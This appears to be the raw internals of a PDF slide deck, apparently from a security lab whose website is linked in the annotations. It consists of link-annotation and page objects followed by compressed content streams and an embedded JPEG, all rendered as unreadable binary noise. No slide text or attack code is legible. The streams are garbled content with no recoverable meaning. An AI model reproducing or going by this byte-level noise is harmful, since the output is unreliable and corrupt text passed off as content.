/Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1120 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1121 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1122 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1123 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1124 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1125 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1126 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1127 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1128 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1129 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1130 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1131 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1132 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1133 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1134 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1135 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1136 0 obj << /Type /Page /Contents 1137 0 R /Resources 1135 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1107 0 R 1108 0 R 1109 0 R 1110 0 R 1111 0 R 1112 0 R 1113 0 R 1114 0 R 1115 0 R 1116 0 R 1117 0 R 1118 0 R 1119 0 R 1120 0 R 1121 0 R 1122 0 R 1123 0 R 1124 0 R 1125 0 R 1126 0 R 1127 0 R 1128 0 R 1129 0 R 1130 0 R 1131 0 R 1132 0 R 1133 0 R 1134 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 1137 0 obj << /Length 2568 /Filter /FlateDecode >>stream x[s_qyI }#L:SK{:ɚEp䑱(Y\sX,4*V9`k%CyVI#'u%h0բ.n0=lUq\JFj[Nt5k LH-1֜Q@ſCJh+n%x>|֍aFʆyr/Dw'㕐^WQrU;*靮~Pkcog4h:"ck47Sh! UŪ0u{EMFC)rƤڞ;15*-qf[FJOffӀP6fb cIAa"9r1F'CvDZ!ړ-aFH3Nzҳ{Wa |y߃,SDzIz#O-> -F${)?{ ,T&nFg/d^Y|ɮk3L3P愶0np xlHZq.,8}Fe=6P9>9Aa-d@njrtxn;V߆O8r}Ѐg3D8.|UkL_~v4LxNhd'Mg})rk'=  F7?0=nE! oZ72?,$W8V,:甬ۨ_keױUEHW Z&bEp4ES󟽸^qVEǜR=cUP<ɬiUHCj< rgP0]St966z9z3-k\c?C?bNT#cÓrlǗE6B_[8ji3z$\8o>tc3q{;$,#I:'QJRA. ͅ3S< x^{39EO`|b}fl=19 rг`]d~`?m}Θ[x!%VI9}lo C3_:u9(ILx@ OE]+Kr e#~b!ٛ(o]2.~#VmaqbJ;㓔^Ӈu籐p$;Z~UXP{,@`Fף-~ЉU6tC֖e% 6̤^0aO2A*cF5T&6uSkZKgx4 %FO6u[nUPahH+%zZեj\*{oKj@c5˰&Za.o=}[oz70t+$^\E1\E!oA&NH8@O"x3ll39525f(!et>```[?=IsTPFdov~Ä)?aB4Bhm1Kvyt'و}s I4$p!pFv=&$1~Z(gU]tÖeE1 !kJqp4viHΧE_A03X*o/%DGgvcq<T/'vŠBp{t'݂f:@yJ1!@;燏a'G6ÙD.fkϽ{E(z ոTa>1*}`Ƃ41a صyajD²7*m n?q0*g^lF, `U۽1H4:^kѬàyL[VE&RLm i(lPq hb52÷ΥD $R$$ST| OA2)H6>3?P.UpL!oCi}̺Fd^Nu_F{ٺLqMMdJUo(p--7 ܭ w˧C&nCKC͛qwf؜"f",xӕRŦ|?rU5G?R ɟ󛒰{>m@nu)OB`cRGB0?j Œ endstream endobj 1138 0 obj << /D [ 1136 0 R /XYZ 334.488 1.245 null ] >> endobj 1139 0 obj << /Count 4 /Kids [ 1136 0 R 1170 0 R 1203 0 R 1237 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 1140 0 obj << /D [ 1170 0 R /XYZ 334.488 1.245 null ] >> endobj 1141 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1142 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1143 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1144 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1145 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1146 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1147 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1148 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1149 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1150 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1151 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1152 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1153 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1154 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1155 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1156 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1157 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1158 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1159 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1160 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1161 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1162 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1163 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1164 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1165 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1166 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1167 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1168 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1169 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F61 311 0 R /F39 87 0 R /F15 155 0 R /F63 525 0 R /F66 559 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1170 0 obj << /Type /Page /Contents 1171 0 R /Resources 1169 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1141 0 R 1142 0 R 1143 0 R 1144 0 R 1145 0 R 1146 0 R 1147 0 R 1148 0 R 1149 0 R 1150 0 R 1151 0 R 1152 0 R 1153 0 R 1154 0 R 1155 0 R 1156 0 R 1157 0 R 1158 0 R 1159 0 R 1160 0 R 1161 0 R 1162 0 R 1163 0 R 1164 0 R 1165 0 R 1166 0 R 1167 0 R 1168 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 1171 0 obj << /Length 2919 /Filter /FlateDecode >>stream x[KoGW!̸ߏ\Y2dXRz4EZER﷪9P)YALuWwu k^7y~6W@a4sR7Š ,-Ovs9.Ff ;ruk LH-*c: :rLJ)modvm.tflG-By[Ѩ8oq4Use*h]CN9 z!.t$$ yXO 5v6H/Iea.., >CObIӠڅЙYo|YFo[G \/+W9w_2ͰyyX!6@~ӟLM| eeoI{HG8ls_^qgSt:ߡf,~z xq1j-sg/gU+)QY)f>iQC4HfM2\ ]wD;} $wAmay:Fq=Σ7SXc/{NT'cãqlxǗՔvR_;8[;3:Ԣf|Ip|nɌkxbVAj8= ™)}=xE>Ja(C7W71Oz,Z)i#zshQڨs{7M yss@K,(` m}}j͠;0D4) OonCYP8T\†p?i$@)uU DT.4hJ<EG~`kZ\Tzylgtt'fhGഎ٫Maq S~Ԧu{DQXA;-_=e[2Ft֒V\>i ||Ԗ\m3$6LI&HdCӠjĶljC:Y9ĢDW5gnL<evj%(^Y> AIvM(K KGrX#rcF͕dhT9$W'^9lEΨπ_}+T/-pd0`WP`p`7=mH^zl0)T.tgTX.n `'lZƴ1/蜓8=Z ~.h*hq\|=/ {LTBB*F.?Q0vH,6@|!}!>pK|2&R<-V\!@O*lA[S<;z8CiV=Е\S*3f7I\<",>]$+? ? :pMKrcDD}u 5z.]t) {0+_b-o v9:yx:÷b6_O'ɥ A.A|BFtaX Q2o1Zz}R};}$A嶗mE:k*O} CHelbY`Q.%[ 2պ}f7N!yZ zO[яIpR#F!}xFcܗ<#~R|ܳ1C^ A&i ۢ]_/ ~N^=M Gx| u<7nxLNa Q-!QE:{PF%eT6\_߹_ʄ_O7+qbhOoLJ>Cot -KKNI]3Z.0>)|_I {=<;y$}~X]CySeB⛟G xЏQw2+I endstream endobj 1172 0 obj << /D [ 1170 0 R /XYZ 334.488 1.245 null ] >> endobj 1173 0 obj << /D [ 1203 0 R /XYZ 334.488 1.245 null ] >> endobj 1174 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1175 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1176 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1177 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1178 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1179 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1180 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation27) >> >> endobj 1181 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1182 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1183 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1184 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1185 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1186 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1187 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1188 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1189 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1190 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1191 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1192 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1193 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1194 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1195 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1196 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1197 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1198 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1199 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1200 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1201 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1202 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F69 778 0 R /F66 559 0 R /F100 1205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1203 0 obj << /Type /Page /Contents 1204 0 R /Resources 1202 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 1139 0 R /Annots [ 1174 0 R 1175 0 R 1176 0 R 1177 0 R 1178 0 R 1179 0 R 1180 0 R 1181 0 R 1182 0 R 1183 0 R 1184 0 R 1185 0 R 1186 0 R 1187 0 R 1188 0 R 1189 0 R 1190 0 R 1191 0 R 1192 0 R 1193 0 R 1194 0 R 1195 0 R 1196 0 R 1197 0 R 1198 0 R 1199 0 R 1200 0 R 1201 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 1204 0 obj << /Length 2997 /Filter /FlateDecode >>stream xko~)}h' IKJ ##NwfAR;xjq;v/N ^w(~^(#SU!dBjQ]icȼ9ѶU5EeRw HSPSF)* a<}unefC6㈭RKkqQ(RLpLWDCWT)c(s "*UHh$'yWBvsr7a*cŎfa޻bHm*(9FfRmO8*Qc\ׂ)eq06B 2[4@M%89!QeEtr.bhACT 퉗tK6lNDG9y 54~qω\XB~IjyKOH$Lн5*SoNlħR҉(_mxI,9%=1\tSbc,Bqh{6u~q\ %)Qe 5}#M4R~^#&&3/<.j%wb^Nqr~Nr0%05*]87#+ak 9yS]L`"h#[ @$ |r&xr4ض.ɦ)kYr+ќ hGMA}z샜9f'lP>hi~^rOr +<3RSL#mI;~cbO֯OŅ*e*a Φ>Kk{̏iޅ}utOyTCػp<3 [UqxT+rwo2LҗPr{JyqϺr{^qYz\c#bGcX8!}1p" '!?& wf8qWX[q'!aMkϑ?2NhׯA^.Ӯ $3'V/_7Z@2쌸eq&Smey姱UGtO:ϐ3a,s$8 } elg;a&Α?d9zD˧,A [i,^K zD#|Tdfޠ;%_uxKivg(Q;n/aA:63ۋ(?"qfRkԱC 2rt Ŋc/$eL_ W(֐iѡ6C\/A ;?RdDlFq\y~NMȌxvɦd1 PE!FB™)}|Kb0Usꀁ;^f P;fxoƼxUXՉ݆c` /FH{})hH+>,'cN%K@kYHBRnߢ8хmD`4:xf}O!bp~@n(@K^a4f XYh&أӺѺxZצ1֍9%q_|kzɨu2JuO9Vxct}&2i&cN%@kj9 5i{ {> B<^biYӤ_Ox:ux;Ѿ@D3grWho CXfu )_C|>$uvqH=CXYѫ#duxBTrГoH˂H<7ȪH^Q3^ڱg%(qⴼ$ސ^QzM"ᥕxhiuϥ'|@!UȽ {r W!]ܛhi a ߩ7Eg"#S0kj\P.+|%ZWxKও:G-Q@-B*P8 Ӑ;KeSBl Pk"n` (vh!*soF4ZA M07ko'Sg琚z~ET|Зr7x98* LL9(@I!==io&Iۍ—SkN[-;ʩL*?~hX}k"\Ct{a)g/SΞvDOc3-x}|ۆ_P`oc;[+b;ƏªBQx!th!SJ2ŷ:a:*Q>L>.#\"0ֹ5VXH5VuLO<8 2]t o9R~t `(,ƿ9Sx­Tr9>w~|$t56Fם6FYd!Ǭ.PЖ6C 4fpڃtW4J7,^W?,b^dwN[ 6-i7J>82&ya`·m4FacN%ָ?uǛÙvhǙÑt6E%U! \p)^ꒉ.-ˈS{5ouaAyT3KSTHo|W>Q*fIf)KUt.%Ra::s)u]JeBPR zK0+6:ZNAyD$nEif$ƲcN$'k$U,_'tDhN&6ӛH)Uͮy3ɞC_-O" ٰ'u4IwM,K#uc7`lxEGw 5/Fx tkq76ޫ+ C4jx d5O!yqkggBB9?;9sLE*f둡61O1m{-r-KY endstream endobj 1205 0 obj << /Type /Font /Subtype /Type1 /BaseFont /AVCSFW+CMITT10 /FontDescriptor 1257 0 R /FirstChar 35 /LastChar 125 /Widths 1240 0 R >> endobj 1206 0 obj << /D [ 1203 0 R /XYZ 334.488 1.245 null ] >> endobj 1207 0 obj << /Type /XObject /Subtype /Image /Width 206 /Height 221 /BitsPerComponent 8 /Length 8777 /ColorSpace /DeviceRGB /Filter /DCTDecode >>stream JFIFddDuckyDAdobed        !1AQaq"2BRbr#3$т CScs%!1AQ"a# ?@P( @P( @P( @P( @P|R,jI !@)$up4h @P( @P( AjnMwNv,Vj_<(agUdAM7^@wobo% ejI2!:& qdʕr?t,Dej>Pd!w^"()% O.>b&cXyA UkF@P( @P( ޻i'qn!A%:jHѾY#ѕ`97yW9ckuT\TQ.{rsq*)va+ֵ] ĂGS]q7:Ě"${y!9+[CZ=1"D['WGQ?RfS2?AЏuDFP(5͛Oɚ +C%zBh2@P( *Vv3$^PDpY~Bڛs%7Z.RE0s;c}Xqʓ8|2v6{UWYF)IBJBRrP[y<݈ĥ _\Fs^L)\ngARe* >jG]v#oj.kէ)[=~mij##KܲW+3 EJ+rSa+Bpe G^$X8/ 9vRR'@uSʿU[Ԁ҂]Y!GE+AQՅA ֹq%?)kGcNa{i{8o'c*DM4I\#^eT%_ݷs y$eKEzn_ "K,*[Hh; m6ԡ!7 TW@i:PT IY=Ex*Ȫj!bR`1 h97,[sTy)-ğK++*uAyp7f^"WsN8Y%faM׌ܙ)Pf|Xa,S?J'JQk<]XDY6s2+M\uG=LGT6&#t=1M-Lh<=Zk%J,xz U{Q\h$p! IDs\yq]qU%@APo};O<OV,|edi2O*h+~:pn6s$I{OUe@P[;#ʄZ?jȫi&´^:PP7h`6{6O/|[̇\w>5WįYI(>. h=Ng2Լ%ԩqF>CIy5*edjJ-hy@6)A兀N{6:keX 3rָij⬟e"LfCmEB@i_'o6/jR\2m%NW*@= jD{I)VPjS+lB{oDC97J\3vT?brTIh'Z{SQGFsx-L[.B^*QDI5d@2[Pc9%/n{cr\$nT|<=յ|J(367DBGi@Tq=IӿJO!Ǥ["`W1VxA>Ս5^ʿz^JzfߒAe*3"N愘l] Z\IӉ&{M-J+LhA<ڨ=-č z_+mt,wCr@ 77gP_}KY Adl6UvX?E/VQER!9 vQPU"ݴѫ~glm&k1MJ*y{=>Q5)+Kd m{v8AK3~g-pD6nNmT{TT %)H` -A>gN}j \H?^##{82=>MBpިAChA=PXW H'B`j2NcG^SnGKU8_Z^ 1{#J?+/ %VWSQ~mmx[m<\0ӖG}eԋij4 &Ya|~l-Vy tm)j-L+aZ|?Ɗ"9jMW:9>< QPP"UsaAλN]($6~Y3Q!(x'm-7glNǟq<IRnrQ8hyXb[MʻEAK0HR"1Y:Ƿ7o,>!,& rS$/uR|7GY=Eg#YO7KxL*(BPոI,`nw]d#(*>GH*BX,\xN~|$[zcVW- O)t]]\koHKy9i*`(5mzv3rS5 :-69ۅLĴ)J GkV5;.H*CeE6|O?XqW!"CGR|RǛ m&r9:AS#VVy5P+!>$`@7evݜ'&6! ފ8V+Jq n6W"G h9_LP 1'-(;ޣY gV?S% r-6ô޹}\{~.<}o.YvGQ&211x ZJP,eLd]>^GeeoVLĩ <ߩ~rnp*:FrHZ-~WUA߻3[G$m1U)k-,M:9@ma+ƑOU*mևnIybdžR5qԩ\׍SK2W S"]*.<]D3(~XH ^UW`(8L>Kgug= ,ZیJme!e8 m-TenzbZk knNj59 ̃dnIVVml-/mli,a-aI'Le_n+ZNG|t IMcT{#!TH{9*DdtQyU"HA=1 lN:NHVd7xrQ*H>rB4P"o5WԹTZ}U&/Kdd EP{I 